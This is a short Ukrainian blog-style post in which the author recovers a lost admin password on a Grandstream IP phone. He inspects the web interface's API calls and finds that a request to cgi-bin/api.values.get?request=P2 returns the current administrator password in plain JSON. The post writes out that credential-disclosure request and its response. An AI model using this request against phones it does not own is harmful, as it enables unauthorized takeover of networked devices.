Сьогодні зіткнувся з проблемою: хтось змінив пароль адміністратора до телефону. Почитавши в мережі інформацію, зробив висновок, щоб:
- Змінити пароль адміністратора, потрібен пароль адміністратора;
- Скинути телефон у заводські налаштування, потрібен пароль адміністратора;
- Перепрошити телефон - знову потрібен той відсутній пароль...
Як же знайти вихід із ситуації, що склалася? Так легко!
Для «впізнавання» пароля мною був використаний самий звичайний браузер Google Chrome з встановленим компонентів Furebug, плюс, інший телефон Grandstream GXP2124, доступ до якого у мене є.
Далі хід дій був наступний:
Запускаємо браузер і включаємо утиліту Firebug, після чого починаємо «гуляти» різними сторінками. У списку запитів було виявлено:
POST cgi-bin/api.values.get
а в тілі відповіді числиться:
{«response»:«success», «body»:{«vendor_fullname»:«Grandstream Networks, Inc.»}}
Гортаючи далі, знайшов і такий запит:
POST cgi-bin/api-phone_operation
у запиті якого були передані параметри:
cmd=extend&arg=&sid=639534b3e5a
Що ж далі? А далі переходжу в налаштування безпеки і змінюю пароль на телефоні, доступ до якого у мене вже є і дивлюся список відповідей:
POST cgi-bin/api.values.post
Source:
P2=MyNewPass&:confirmAdminPwd=MyNewPass&sid=639534b3e5a
де:
- P2 - переданий пароль адміністратора;
- confirmAdminPwd - підтвердження пароля адміністратора;
- sid - поточна сесія (нам не знадобиться).
Далі, проявивши фантазію, складаємо запит виду:
192.168.1.253/cgi-bin/api.values.get?request=P2
де 192.168.1.253 - IP-адреса телефону.
Відправляємо і...
… і отримуємо JSON-відповідь виду:
{«response»:«success», «body»:{«P2»: «adminPass»}}
де adminPass - поточний пароль адміністратора.
Profit!
З повагою, Andrey Helldar!





